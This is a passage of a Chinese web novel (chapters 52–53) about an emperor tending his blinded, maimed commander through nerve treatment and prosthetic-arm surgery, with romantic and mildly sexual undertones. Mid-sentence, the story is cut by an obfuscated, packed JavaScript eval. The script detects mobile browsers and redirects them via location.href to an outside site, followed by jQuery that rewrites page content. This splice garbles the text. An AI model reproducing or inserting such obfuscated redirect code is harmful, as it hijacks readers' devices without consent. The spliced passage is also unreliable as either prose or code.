他为了让司令官舒服,已经不知道看了多少书,又学习了多少“专业技巧”。早在司令官的感官尚未恢复到巅峰时,都已经每次都被能他伺候得舒服到痉挛和失神。 而如今,三次生物肽治疗结束,司令官的敏感程度更达到了前所未有的水平。 郁危明暗地里真的很想试试,他能不能紧靠能力,把司令官刺激到再度感官封闭…… 他至今还记得古籍上写的,身体的欢愉是爱的源头。 趁着现在机会难得,真想跟司令官一起赶紧把该做的幸福给“做”出来啊! …… 第四针生物肽是最后一次治疗。 齐绍洲说,这一针打下去后,司令官的末梢神激活度应该就能达到巅峰。如果数据能达标,医疗团队会立刻帮他进行第一台仿生义肢修复手术。 这其实算是个好消息,郁危明却忐忑不安。 “你之前说,修复手术的恢复期……他会很痛苦。” 齐绍洲:“是的。” “因为术后,断肢的所有神经末端都要与人造神经系统重新建立连接,避免不了时不时会有蚂蚁咬的刺激痒痛。但保持神经的活跃才能最大程度地实现义肢的灵敏,因此恢复期不建议使用麻药。” 郁危明失魂落魄。 可笑的是,他偷藏了那么多司令官的片,就连隐秘的幻想里也常常是肆意凌虐司令官,把他弄哭、让他坏掉的剧情。 可为什么现实中,又舍不得他受一点苦。 52. 手术前夜,郁危明问顾远泽:“你怕吗?” 柔媚月色下,司令官在他怀里摇了摇头。 “嗯,不用怕,会好的。”郁危明低低安慰,掌心覆上司令官手臂残缺的断面,指腹轻轻地温柔地蹭。 顾远泽喉结滚动,几乎是瞬间呼吸急促。 前三针的生物肽,已让他的神经末端恢复大量的敏感,以至于现在断肢处其实摸不得。仅仅是被这样轻微的碰触,就让他浑身剧颤、难耐地扭动身子。 "……拿开。" 他开口,声音沙哑,带着压抑的颤抖。 郁危明却自顾自还在喃喃:“听说恢复期时,会很麻痒,非常难熬。” “我让你,让你拿……哈啊……拿开!”司令官声音陡然嘶哑,已是颤抖着尽力在吼。 郁危明这才恍惚反应过来,停住抚弄的手指:“怎么了?” “别碰我!” 郁危明像是被突然打了一闷棍的狗。 他张了张口,没有出声,呼吸都不敢加重。 淡淡月光下,花房开着小夜灯。司令官空洞的眼睛已然略微猩红,脸上也有难堪愤恨的红潮。甚至好像还发狠骂了一句脏话,每个字都从牙缝里挤出来。 “……”有什么滚烫的东西,几乎就要从泛红的眼眶悄然滑落,又被郁危明默默垂下头吞回去。 明明约好了,讨厌也不许说他的。 那一整晚,郁危明都乖乖蜷缩在床边,没敢再去碰司令官一下。 隔天早上,齐绍洲直接拿着第四针生物肽针剂是和手术用麻醉药一起来了。 手术非常精细,一共进行了将近十个小时。 郁危明全程看着那断臂的伤口被重新打开,一片鲜红里,一根根神经被接上此刻还是裸露的机械结构义肢。 他深深皱眉,想起所有关于司令官的视频中,他唯一没有看完的一份。 那是顾远泽在狱中被千刀万剐的画面。 他一直心理变态,喜欢看司令官皱眉、喘息、遭受轻微的虐待。但那个视频里,顾远泽太痛了。他根本没有快感,他见不得他那么痛。 手术从白天做到黄昏。 考虑到司令官的身体承受,这次手术只先给他装好了右手义肢。 义肢的精巧钛合金骨架是人体骨骼的完美复刻,而纳米级液压纤维束构成的肌肉也一块块规整地沿着仿生神经走向分布。 手术结束,齐绍洲用弱生物电测试,义肢的纤维肌肉应激性地收缩。 "看吧,触觉的灵敏度设计是顶尖的,”齐绍洲说,“不过后续还要等司令官使用后再二次调试,直到完全满意,才会进行最后的外皮层覆盖,到时候就无论功用还是外形都和原本的手一模一样啦!" 半小时后,司令官从手术麻药中缓缓醒来。 他是痛醒的。 郁危明将他整个人揽在怀里,看他几乎是在一瞬间后背就全是细细密密的冷汗。没有焦距的半睁开眼眶泛红,整个人隐忍至极。 “顾远泽,放松点……呼吸。” 新皇从身后紧紧环着他,手掌温热覆在他义肢的连接处,尝试安抚皮肤下那疯狂跳动的经络。 “我知道你现在很难受,但顾远泽,你先……试着感受一下!你看,你重新有右手了。” “……” 皇帝说着,苍白的指尖沿着钛合金骨架缓缓抚下,激起纤维肌肉一圈圈明显的收缩,疼痛中顾远泽骤然被电击一般,茫然地睁着空洞的眼睛,不敢置信地轻轻动了动手指。 郁危明:“你看,很好用对不对!” 司令官曾在战争中失去过一只手臂,在联邦也装过仿生手。但由于联邦科技远落后于帝国,那种明显拙劣的“假肢”和帝国的尖端义肢用起来,当然感受截然不同。 尤其是,顾远泽现在还看不见。 那种可怕的真实感,更是会异常明显……光华在郁危明灰色的眼底跳动,他勾了勾唇望着司令官一瞬的迷茫,手指温柔地移动到到机械手腕,缓缓地,与温暖的机械手指十指相扣。 而顾远泽恍惚中,慢慢也跟着收拢指尖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623356|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么轻微地、颤抖地、也握住了郁危明。 53. 郁危明的灰眸里浮现出浅浅雾气。 他俯身,银发散落一床,小心翼翼地把整张脸颊都缓缓放进司令官的掌心,轻轻磨蹭。 “我知道你疼……”他声音低哑,有些哽咽,“刺痛和麻痒大概会持续两三天,等神经成功融合,就不会再难受了。” “你再忍一忍。哪里不舒服告诉我,我帮你摸一摸。” 司令官唇色苍白,没有再发出任何声音。 片刻后,他只指尖再度努力动了动,缓缓从郁危明的手里拿开。 郁危明眸色微微一暗,随即看到他抓身下的床单,非常用力,钢铁的指尖都在狠狠颤抖。 新皇一时心滞:“顾远泽,痛的话可以喊出来。” 但顾远泽依旧没有出声。 只有一瞬间,他的身体似乎也想从他怀里挣开。 或许是司令官嫌他聒噪,又或许是一直都讨厌他、终于忍耐到了极限。但明明几乎要挣脱,却又生生忍住了。 “……”郁危明不明白。 玻璃外的黄昏是明媚的橘。这么漂亮的晚霞颜色,却是台风将至的征兆。 可花房里的白玫瑰却没有觉察。它们被染成了晚霞绚烂的颜色,还在快乐地摇曳。 郁危明看着眼前那一片霞光,突然铺天盖地的悲哀酸楚,却又同时恍惚地,怀抱起了最后一丝不切实际的期待。 他低头,小心地去吻顾远泽的唇。 ——司令官现在强忍着痛苦。他去吻他,有多讨嫌可想而知。 现在的顾远泽比之前有力气,完全可以咬破他的唇。 可是没有咬。 只在轻触的一瞬间,司令官有过下意识躲避的动作。但再度生生忍住了。 为什么。 床头的小麦草,在日光和夜灯的二十四小时培育下,已经抽出了碧绿的茁壮饱满的穗。 而郁危明也终于在漫长的厮磨后,轻轻放开顾远泽的唇。 他陷入司令官的颈窝,几乎不能呼吸。 他好像全明白了。 ……从昨晚到今天,一言不发的司令官又在想什么呢?其实司令官昨晚吼他,不过只是因为被摸得太难受、气疯了罢了。 司令官才是受害者,明明性子温和,却被生生逼到骂人。 骂了他又要默默内疚。 以至于手术后这么痛苦,还会下意识照顾他的情绪。 “……” 郁危明眼眶发烫,莫名有种被爱的错觉。 他突然觉得他值了。不管以后和司令官会变怎样,有这么一刻,就足够了。 司令官的手指还在抓着床单。 指尖颤抖,不小心就纠缠了几缕银发——它们太长了,散落床铺,到处都是。 指腹蹭过冰凉的银发,不能置信那顺滑丝绸的触感。 郁危明:“……” “好摸吗?” “生我气的话,揪它也是可以的。” “司令官,别咬自己。” “疼的话、心情不好的话还可以骂我的,像昨晚……那样骂。” 他凑过去,灰瞳认真又清澈:“可以再多骂几次的,随便骂,我爱听。”